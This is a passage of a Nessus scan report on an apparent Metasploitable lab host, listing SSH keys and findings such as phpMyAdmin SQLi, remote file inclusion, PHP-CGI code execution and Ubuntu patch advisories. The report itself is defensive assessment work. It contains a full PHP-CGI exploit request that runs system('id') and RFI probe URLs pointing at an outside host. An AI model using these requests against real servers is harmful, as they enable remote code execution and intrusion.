y9HCywXWZ/jcPpPHEQAAAIAgt+cN3fDT1RRCYz/VmqfUsqW4jtZ06kvx3L82T2Z1YVeXe792
9JWeu9d3OB+NeE8EopMiWaTZT0WI+OkzxSAGyuTskue4nvGCfxnDr58xa1pZcSO66R5jCSAR
MHU6WBWId3MYzsJNZqTN4uoRa4tIFwM8X99K0UUVmLvNbPByEAAAAIBNfKRDwM/QnEpdRTTs
RBh9rALq6eDbLNbu/5gozf4Fv1Dt1Zmq5ZxtXeQtW5BYyorILRZ5/Y4pChRa01bxTRSJah0R
Jk5wxAUPZ282N07fzcJyVlBojMvPlbAplpSiecCuLGX7G04Ie8SFzT+wCketP9Vrw0PvtUZU
3DfrVTCytg== user@metasploitable

In file /root/.ssh/authorized_keys:
line 1:
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpb
pG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1j
r2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln
/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+
kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4Wo
cyVxsXovcNnbALTp3w== msfadmin@metasploitable

In file /home/msfadmin/.ssh/id_rsa.pub:
line 1:
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpb
pG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1j
r2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln
/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+
kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4Wo
cyVxsXovcNnbALTp3w== msfadmin@metasploitable

In file /home/msfadmin/.ssh/authorized_keys:
line 1:
ssh-dss AAAAB3NzaC1kc3MAAACBANWgcbHvxF2YRX0gTizyoZazzHiU5+63hKFOhzJch8dZ
QpFU5gGkDkZ30rC4jrNqCXNDN50RA4ylcNtO78B/I4+5YCZ39faSiXIoLfi8tOVWtTtg3lku
v3eSV0zuSGeqZPHMtep6iizQA5yoClkCyj8swXH+cPBG5uRPiXYL911rAAAAFQDL+pKrLy6v
y9HCywXWZ/jcPpPHEQAAAIAgt+cN3fDT1RRCYz/VmqfUsqW4jtZ06kvx3L82T2Z1YVeXe792
9JWeu9d3OB+NeE8EopMiWaTZT0WI+OkzxSAGyuTskue4nvGCfxnDr58xa1pZcSO66R5jCSAR
MHU6WBWId3MYzsJNZqTN4uoRa4tIFwM8X99K0UUVmLvNbPByEAAAAI [...]
```

## 125855 - phpMyAdmin prior to 4.8.6 SQLi vulnerablity (PMASA-2019-3)

### Synopsis

The remote web server hosts a PHP application that is affected by SQLi vulnerability.

### Description

According to its self-reported version number, the phpMyAdmin application hosted on the remote web server is prior to 4.8.6. It is, therefore, affected by a SQL injection (SQLi) vulnerability that exists in designer feature of phpMyAdmin. An unauthenticated, remote attacker can exploit this to inject or manipulate SQL queries in the back-end database, resulting in the disclosure or manipulation of arbitrary data.

Note that Nessus has not attempted to exploit these issues but has instead relied only on the application's self-reported version number.

### See Also

http://www.nessus.org/u?c9d7fc8c

### Solution

Upgrade to phpMyAdmin version 4.8.6 or later.

Alternatively, apply the patches referenced in the vendor advisories.

### Risk Factor

High

### CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

### CVSS v3.0 Temporal Score

8.5 (CVSS:3.0/E:U/RL:O/RC:C)

### VPR Score

5.9

### EPSS Score

0.0172

### CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

## CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 108617 |
| CVE | CVE-2019-11768 |

## Plugin Information

Published: 2019/06/13, Modified: 2024/11/22

## Plugin Output

tcp/80/www

```
URL               : http://192.168.50.101/phpMyAdmin
Installed version : 3.1.1
Fixed version     : 4.8.6
```

## 39469 - CGI Generic Remote File Inclusion

### Synopsis

Arbitrary code may be run on the remote server.

### Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings. By leveraging this issue, an attacker may be able to include a remote file from a remote server and execute arbitrary commands on the target host.

### See Also

https://en.wikipedia.org/wiki/Remote_File_Inclusion

http://projects.webappsec.org/w/page/13246955/Remote%20File%20Inclusion

### Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade.

### Risk Factor

High

### CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

### References

| | |
|---|---|
| XREF | CWE:73 |
| XREF | CWE:78 |
| XREF | CWE:98 |
| XREF | CWE:434 |
| XREF | CWE:473 |
| XREF | CWE:632 |
| XREF | CWE:714 |
| XREF | CWE:727 |
| XREF | CWE:801 |
| XREF | CWE:928 |
| XREF | CWE:929 |

### Plugin Information

Published: 2009/06/19, Modified: 2021/01/19

## Plugin Output

### tcp/80/www

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to web code injection :

+ The 'page' parameter of the /mutillidae/ CGI :

/mutillidae/?page=http://LSMtwK80.example.com/

-------- output --------
<b>Warning</b>:  include() [<a href='function.include'>function.in [...]
<br />
<b>Warning</b>:  include(http://LSMtwK80.example.com/) [<a href='functio
n.include'>function.include</a>]: failed to open stream: no suitable wra
pper could be found in <b>/var/www/mutillidae/index.php</b> on line <b>4
69</b><br />
<br />
<b>Warning</b>:  include() [<a href='function.include'>function.in [...]
------------------------

+ The 'page' parameter of the /mutillidae/index.php CGI :

/mutillidae/index.php?page=http://LSMtwK80.example.com/

-------- output --------
<b>Warning</b>:  include() [<a href='function.include'>function.in [...]
<br />
<b>Warning</b>:  include(http://LSMtwK80.example.com/) [<a href='functio
n.include'>function.include</a>]: failed to open stream: no suitable wra
pper could be found in <b>/var/www/mutillidae/index.php</b> on line <b>4
69</b><br />
<br />
<b>Warning</b>:  include() [<a href='function.include'>function.in [...]
------------------------

Clicking directly on these URLs should exhibit the issue :
(you will probably need to read the HTML source)

http://192.168.50.101/mutillidae/?page=http://LSMtwK80.example.com/
http://192.168.50.101/mutillidae/index.php?page=http://LSMtwK80.example.com/
```

## 136769 - ISC BIND Service Downgrade / Reflected DoS

### Synopsis

The remote name server is affected by Service Downgrade / Reflected DoS vulnerabilities.

### Description

According to its self-reported version, the instance of ISC BIND 9 running on the remote name server is affected by performance downgrade and Reflected DoS vulnerabilities. This is due to BIND DNS not sufficiently limiting the number fetches which may be performed while processing a referral response.

An unauthenticated, remote attacker can exploit this to cause degrade the service of the recursive server or to use the affected server as a reflector in a reflection attack.

### See Also

https://kb.isc.org/docs/cve-2020-8616

### Solution

Upgrade to the ISC BIND version referenced in the vendor advisory.

### Risk Factor

Medium

### CVSS v3.0 Base Score

8.6 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H)

### CVSS v3.0 Temporal Score

7.7 (CVSS:3.0/E:P/RL:O/RC:C)

### VPR Score

5.2

### EPSS Score

0.0334

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

### CVSS v2.0 Temporal Score

3.9 (CVSS2#E:POC/RL:OF/RC:C)

## STIG Severity

I

## References

| | |
|---|---|
| CVE | CVE-2020-8616 |
| XREF | IAVA:2020-A-0217-S |

## Plugin Information

Published: 2020/05/22, Modified: 2024/03/12

## Plugin Output

udp/53/dns

```
  Installed version : 9.4.2
  Fixed version     : 9.11.19
```

## 42256 - NFS Shares World Readable

### Synopsis

The remote NFS server exports world-readable shares.

### Description

The remote NFS server is exporting one or more shares without restricting access (based on hostname, IP, or IP range).

### See Also

http://www.tldp.org/HOWTO/NFS-HOWTO/security.html

### Solution

Place the appropriate restrictions on all NFS shares.

### Risk Factor

Medium

### CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

### Plugin Information

Published: 2009/10/26, Modified: 2024/02/21

### Plugin Output

tcp/2049/rpc-nfs

```
The following shares have no access restrictions :

  / *
```

## 59088 - PHP PHP-CGI Query String Parameter Injection Arbitrary Code Execution

### Synopsis

The remote web server contains a version of PHP that allows arbitrary code execution.

### Description

The PHP installation on the remote web server contains a flaw that could allow a remote attacker to pass command-line arguments as part of a query string to the PHP-CGI program. This could be abused to execute arbitrary code, reveal PHP source code, cause a system crash, etc.

### See Also

http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/

http://www.php.net/archive/2012.php#id2012-05-08-1

http://www.php.net/ChangeLog-5.php#5.3.13

http://www.php.net/ChangeLog-5.php#5.4.3

http://www.nessus.org/u?80589ce8

https://www-304.ibm.com/support/docview.wss?uid=swg21620314

### Solution

If using Lotus Foundations, upgrade the Lotus Foundations operating system to version 1.2.2b or later.

Otherwise, upgrade to PHP 5.3.13 / 5.4.3 or later.

### Risk Factor

High

### VPR Score

8.9

### EPSS Score

0.9429

### CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

6.5 (CVSS2#E:H/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 53388 |
| CVE | CVE-2012-1823 |
| CVE | CVE-2012-2311 |
| XREF | CERT:520827 |
| XREF | EDB-ID:18834 |
| XREF | CISA-KNOWN-EXPLOITED:2022/04/15 |

## Exploitable With

CANVAS (true) Core Impact (true) Metasploit (true)

## Plugin Information

Published: 2012/05/14, Modified: 2022/03/28

## Plugin Output

tcp/80/www

```

Nessus was able to verify the issue exists using the following request :

------------------------------ snip ------------------------------
POST /dvwa/dvwa/includes/DBMS/DBMS.php?-d+allow_url_include%3don+-d+safe_mode%3doff+-d
+suhosin.simulation%3don+-d+open_basedir%3doff+-d+auto_prepend_file%3dphp%3a//input+-n HTTP/1.1
Host: 192.168.50.101
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Connection: Keep-Alive
Content-Length: 82
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
<?php echo 'php_cgi_query_string_code_execution-1758656071'; system('id'); die; ?>
------------------------------ snip ------------------------------
```

## 42873 - SSL Medium Strength Cipher Suites Supported (SWEET32)

### Synopsis

The remote service supports the use of medium strength SSL ciphers.

### Description

The remote host supports the use of SSL ciphers that offer medium strength encryption. Nessus regards medium strength as any encryption that uses key lengths at least 64 bits and less than 112 bits, or else that uses the 3DES encryption suite.

Note that it is considerably easier to circumvent medium strength encryption if the attacker is on the same physical network.

### See Also

http://www.nessus.org/u?df5555f5

https://sweet32.info

### Solution

Reconfigure the affected application if possible to avoid use of medium strength ciphers.

### Risk Factor

Medium

### CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

### VPR Score

6.1

### EPSS Score

0.3085

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

### References

| | |
|---|---|
| CVE | CVE-2016-2183 |

## Plugin Information

Published: 2009/11/23, Modified: 2025/02/12

## Plugin Output

tcp/25/smtp

```
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth      Encryption             MAC
    ----------------------        ----------       ---           ----      ---------------------  ---
    DES-CBC3-MD5                  0x07, 0x00, 0xC0 RSA           RSA       3DES-CBC(168)          MD5
    EDH-RSA-DES-CBC3-SHA          0x00, 0x16       DH            RSA       3DES-CBC(168)
 SHA1
    ADH-DES-CBC3-SHA              0x00, 0x1B       DH            None      3DES-CBC(168)
 SHA1
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA       3DES-CBC(168)
 SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
```

## 42873 - SSL Medium Strength Cipher Suites Supported (SWEET32)

### Synopsis

The remote service supports the use of medium strength SSL ciphers.

### Description

The remote host supports the use of SSL ciphers that offer medium strength encryption. Nessus regards medium strength as any encryption that uses key lengths at least 64 bits and less than 112 bits, or else that uses the 3DES encryption suite.

Note that it is considerably easier to circumvent medium strength encryption if the attacker is on the same physical network.

### See Also

http://www.nessus.org/u?df5555f5

https://sweet32.info

### Solution

Reconfigure the affected application if possible to avoid use of medium strength ciphers.

### Risk Factor

Medium

### CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

### VPR Score

6.1

### EPSS Score

0.3085

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

### References

| | |
|---|---|
| CVE | CVE-2016-2183 |

## Plugin Information

Published: 2009/11/23, Modified: 2025/02/12

## Plugin Output

tcp/5432/postgresql

```
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    EDH-RSA-DES-CBC3-SHA          0x00, 0x16       DH            RSA      3DES-CBC(168)
 SHA1
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)
 SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
```

## 90509 - Samba Badlock Vulnerability

### Synopsis

An SMB server running on the remote host is affected by the Badlock vulnerability.

### Description

The version of Samba, a CIFS/SMB server for Linux and Unix, running on the remote host is affected by a flaw, known as Badlock, that exists in the Security Account Manager (SAM) and Local Security Authority (Domain Policy) (LSAD) protocols due to improper authentication level negotiation over Remote Procedure Call (RPC) channels. A man-in-the-middle attacker who is able to able to intercept the traffic between a client and a server hosting a SAM database can exploit this flaw to force a downgrade of the authentication level, which allows the execution of arbitrary Samba network calls in the context of the intercepted user, such as viewing or modifying sensitive security data in the Active Directory (AD) database or disabling critical services.

### See Also

http://badlock.org

https://www.samba.org/samba/security/CVE-2016-2118.html

### Solution

Upgrade to Samba version 4.2.11 / 4.3.8 / 4.4.2 or later.

### Risk Factor

Medium

### CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H)

### CVSS v3.0 Temporal Score

6.5 (CVSS:3.0/E:U/RL:O/RC:C)

### VPR Score

5.9

### EPSS Score

0.7865

### CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

## CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 86002 |
| CVE | CVE-2016-2118 |
| XREF | CERT:813296 |

## Plugin Information

Published: 2016/04/13, Modified: 2019/11/20

## Plugin Output

tcp/445/cifs

```
Nessus detected that the Samba Badlock patch has not been applied.
```

## 34048 - Ubuntu 6.06 LTS / 7.04 / 7.10 / 8.04 LTS : linux, linux-source-2.6.15/20/22 vulnerabilities (USN-637-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that there were multiple NULL pointer function dereferences in the Linux kernel terminal handling code. A local attacker could exploit this to execute arbitrary code as root, or crash the system, leading to a denial of service. (CVE-2008-2812)

The do_change_type routine did not correctly validation administrative users. A local attacker could exploit this to block mount points or cause private mounts to be shared, leading to denial of service or a possible loss of privacy. (CVE-2008-2931)

Tobias Klein discovered that the OSS interface through ALSA did not correctly validate the device number. A local attacker could exploit this to access sensitive kernel memory, leading to a denial of service or a loss of privacy. (CVE-2008-3272)

Zoltan Sogor discovered that new directory entries could be added to already deleted directories. A local attacker could exploit this, filling up available memory and disk space, leading to a denial of service. (CVE-2008-3275)

In certain situations, the fix for CVE-2008-0598 from USN-623-1 was causing infinite loops in the writev syscall. This update corrects the mistake. We apologize for the inconvenience.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/637-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

5.9

### EPSS Score

0.0008

## CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

## CVSS v2.0 Temporal Score

5.3 (CVSS2#E:U/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 30076 |
| BID | 30126 |
| BID | 30559 |
| BID | 30647 |
| CVE | CVE-2008-0598 |
| CVE | CVE-2008-2812 |
| CVE | CVE-2008-2931 |
| CVE | CVE-2008-3272 |
| CVE | CVE-2008-3275 |
| XREF | USN:637-1 |
| XREF | CWE:20 |
| XREF | CWE:189 |
| XREF | CWE:200 |
| XREF | CWE:264 |
| XREF | CWE:399 |

## Plugin Information

Published: 2008/08/26, Modified: 2021/01/19

## Plugin Output

tcp/0

```
  - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
  - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-19.41


Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

## 33504 - Ubuntu 6.06 LTS / 7.04 / 7.10 / 8.04 LTS : pcre3 vulnerability (USN-624-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Tavis Ormandy discovered that the PCRE library did not correctly handle certain in-pattern options. An attacker could cause applications linked against pcre3 to crash, leading to a denial of service.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/624-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

6.6

### EPSS Score

0.0338

### CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

### References

| | |
|---|---|
| CVE | CVE-2008-2371 |
| XREF | USN:624-1 |
| XREF | CWE:119 |

### Plugin Information

Published: 2008/07/15, Modified: 2021/01/19

## Plugin Output

### tcp/0

```
  - Installed package : libpcre3_7.4-1ubuntu2
  - Fixed package     : libpcre3_7.4-1ubuntu2.1
```

## 33388 - Ubuntu 6.06 LTS / 7.04 / 7.10 / 8.04 LTS : samba regression (USN-617-2)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

USN-617-1 fixed vulnerabilities in Samba. The upstream patch introduced a regression where under certain circumstances accessing large files might cause the client to report an invalid packet length error. This update fixes the problem.

We apologize for the inconvenience.

Samba developers discovered that nmbd could be made to overrun a buffer during the processing of GETDC logon server requests. When samba is configured as a Primary or Backup Domain Controller, a remote attacker could send malicious logon requests and possibly cause a denial of service. (CVE-2007-4572)

Alin Rad Pop of Secunia Research discovered that Samba did not properly perform bounds checking when parsing SMB replies. A remote attacker could send crafted SMB packets and execute arbitrary code. (CVE-2008-1105).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/617-2/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

6.0

### EPSS Score

0.7295

### CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

## References

| | |
|---|---|
| CVE | CVE-2007-4572 |
| CVE | CVE-2008-1105 |
| XREF | USN:617-2 |
| XREF | CWE:119 |

## Plugin Information

Published: 2008/07/02, Modified: 2021/01/19

## Plugin Output

tcp/0

```
  - Installed package : samba_3.0.20-0.1ubuntu1
  - Fixed package     : samba_3.0.28a-1ubuntu4.4

  - Installed package : samba-common_3.0.20-0.1ubuntu1
  - Fixed package     : samba-common_3.0.28a-1ubuntu4.4
```

## 33217 - Ubuntu 6.06 LTS / 7.04 / 7.10 / 8.04 LTS : samba vulnerabilities (USN-617-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Samba developers discovered that nmbd could be made to overrun a buffer during the processing of GETDC logon server requests. When samba is configured as a Primary or Backup Domain Controller, a remote attacker could send malicious logon requests and possibly cause a denial of service. (CVE-2007-4572)

Alin Rad Pop of Secunia Research discovered that Samba did not properly perform bounds checking when parsing SMB replies. A remote attacker could send crafted SMB packets and execute arbitrary code.

(CVE-2008-1105).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/617-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

6.0

### EPSS Score

0.7295

### CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

### References

| | |
|---|---|
| CVE | CVE-2007-4572 |
| CVE | CVE-2008-1105 |

| | |
|---|---|
| XREF | USN:617-1 |
| XREF | CWE:119 |

## Plugin Information

Published: 2008/06/18, Modified: 2021/01/19

## Plugin Output

tcp/0

```
  - Installed package : samba_3.0.20-0.1ubuntu1
  - Fixed package     : samba_3.0.28a-1ubuntu4.2

  - Installed package : samba-common_3.0.20-0.1ubuntu1
  - Fixed package     : samba-common_3.0.28a-1ubuntu4.2
```

## 37683 - Ubuntu 6.06 LTS / 7.10 / 8.04 LTS / 8.10 : linux, linux-source-2.6.15/22 vulnerabilities (USN-679-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that the Xen hypervisor block driver did not correctly validate requests. A user with root privileges in a guest OS could make a malicious IO request with a large number of blocks that would crash the host OS, leading to a denial of service. This only affected Ubuntu 7.10. (CVE-2007-5498)

It was discovered the the i915 video driver did not correctly validate memory addresses. A local attacker could exploit this to remap memory that could cause a system crash, leading to a denial of service. This issue did not affect Ubuntu 6.06 and was previous fixed for Ubuntu 7.10 and 8.04 in USN-659-1. Ubuntu 8.10 has now been corrected as well. (CVE-2008-3831)

David Watson discovered that the kernel did not correctly strip permissions when creating files in setgid directories. A local user could exploit this to gain additional group privileges. This issue only affected Ubuntu 6.06. (CVE-2008-4210)

Olaf Kirch and Miklos Szeredi discovered that the Linux kernel did not correctly reject the 'append' flag when handling file splice requests.

A local attacker could bypass append mode and make changes to arbitrary locations in a file. This issue only affected Ubuntu 7.10 and 8.04. (CVE-2008-4554)

It was discovered that the SCTP stack did not correctly handle INIT-ACK. A remote user could exploit this by sending specially crafted SCTP traffic which would trigger a crash in the system, leading to a denial of service. This issue did not affect Ubuntu 8.10.

(CVE-2008-4576)

It was discovered that the SCTP stack did not correctly handle bad packet lengths. A remote user could exploit this by sending specially crafted SCTP traffic which would trigger a crash in the system, leading to a denial of service. This issue did not affect Ubuntu 8.10.

(CVE-2008-4618)

Eric Sesterhenn discovered multiple flaws in the HFS+ filesystem. If a local user or automated system were tricked into mounting a malicious HFS+ filesystem, the system could crash, leading to a denial of service. (CVE-2008-4933, CVE-2008-4934, CVE-2008-5025)

It was discovered that the Unix Socket handler did not correctly process the SCM_RIGHTS message. A local attacker could make a malicious socket request that would crash the system, leading to a denial of service. (CVE-2008-5029)

It was discovered that the driver for simple i2c audio interfaces did not correctly validate certain function pointers. A local user could exploit this to gain root privileges or crash the system, leading to a denial of service. (CVE-2008-5033).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

## See Also

https://usn.ubuntu.com/679-1/

## Solution

Update the affected packages.

## Risk Factor

High

## VPR Score

8.8

## EPSS Score

0.1626

## CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C)

## CVSS v2.0 Temporal Score

6.1 (CVSS2#E:POC/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 31368 |
| BID | 31634 |
| BID | 31792 |
| BID | 31903 |
| BID | 32093 |
| BID | 32094 |
| BID | 32154 |
| BID | 32289 |
| CVE | CVE-2007-5498 |
| CVE | CVE-2008-3831 |
| CVE | CVE-2008-4210 |
| CVE | CVE-2008-4554 |
| CVE | CVE-2008-4576 |
| CVE | CVE-2008-4618 |
| CVE | CVE-2008-4933 |
| CVE | CVE-2008-4934 |
| CVE | CVE-2008-5025 |

| | |
|---|---|
| CVE | CVE-2008-5029 |
| CVE | CVE-2008-5033 |
| XREF | USN:679-1 |
| XREF | CWE:20 |
| XREF | CWE:119 |
| XREF | CWE:264 |
| XREF | CWE:287 |
| XREF | CWE:399 |

## Plugin Information

Published: 2009/04/23, Modified: 2021/01/19

## Plugin Output

tcp/0

```
  - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
  - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-22.45

  - Installed package : linux-ubuntu-modules-2.6.24-16-server_2.6.24-16.23
  - Fixed package     : linux-ubuntu-modules-2.6.24-<ANY>-server_2.6.24-22.35


Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

## 37654 - Ubuntu 6.06 LTS / 7.10 / 8.04 LTS / 8.10 : shadow vulnerability (USN-695-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Paul Szabo discovered a race condition in login. While setting up tty permissions, login did not correctly handle symlinks. If a local attacker were able to gain control of the system utmp file, they could cause login to change the ownership and permissions on arbitrary files, leading to a root privilege escalation.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/695-1/

### Solution

Update the affected login and / or passwd packages.

### Risk Factor

High

### VPR Score

6.7

### EPSS Score

0.0008

### CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

### References

| | |
|---|---|
| CVE | CVE-2008-5394 |
| XREF | USN:695-1 |
| XREF | CWE:59 |

### Plugin Information

Published: 2009/04/23, Modified: 2021/01/19

## Plugin Output

### tcp/0

```
  - Installed package : login_1:4.0.18.2-1ubuntu2
  - Fixed package     : login_1:4.0.18.2-1ubuntu2.2
```

## 36530 - Ubuntu 6.06 LTS / 7.10 / 8.04 LTS / 8.10 : udev vulnerabilities (USN-758-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Sebastian Krahmer discovered that udev did not correctly validate netlink message senders. A local attacker could send specially crafted messages to udev in order to gain root privileges. (CVE-2009-1185)

Sebastian Krahmer discovered a buffer overflow in the path encoding routines in udev. A local attacker could exploit this to crash udev, leading to a denial of service. (CVE-2009-1186).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/758-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

10.0

### EPSS Score

0.8649

### CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

6.3 (CVSS2#E:H/RL:OF/RC:C)

### References

| | |
|---|---|
| CVE | CVE-2009-1185 |

| | |
|---|---|
| CVE | CVE-2009-1186 |
| XREF | USN:758-1 |
| XREF | CWE:20 |
| XREF | CWE:119 |

## Exploitable With

CANVAS (true) Core Impact (true) Metasploit (true)

## Plugin Information

Published: 2009/04/23, Modified: 2021/01/19

## Plugin Output

tcp/0

```
  - Installed package : libvolume-id0_117-8
  - Fixed package     : libvolume-id0_117-8ubuntu0.2

  - Installed package : udev_117-8
  - Fixed package     : udev_117-8ubuntu0.2
```

## 37886 - Ubuntu 6.06 LTS / 7.10 / 8.04 LTS / 8.10 : vm-builder vulnerability (USN-670-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Mathias Gug discovered that vm-builder improperly set the root password when creating virtual machines. An attacker could exploit this to gain root privileges to the virtual machine by using a predictable password.

This vulnerability only affects virtual machines created with vm-builder under Ubuntu 8.10, and does not affect native Ubuntu installations. An update was made to the shadow package to detect vulnerable systems and disable password authentication for the root account. Vulnerable virtual machines which an attacker has access to should be considered compromised, and appropriate actions taken to secure the machine.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/670-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

6.7

### EPSS Score

0.0006

### CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

5.3 (CVSS2#E:U/RL:OF/RC:C)

## References

| | |
|---|---|
| CVE | CVE-2008-5103 |
| CVE | CVE-2008-5104 |
| XREF | USN:670-1 |
| XREF | CWE:255 |

## Plugin Information

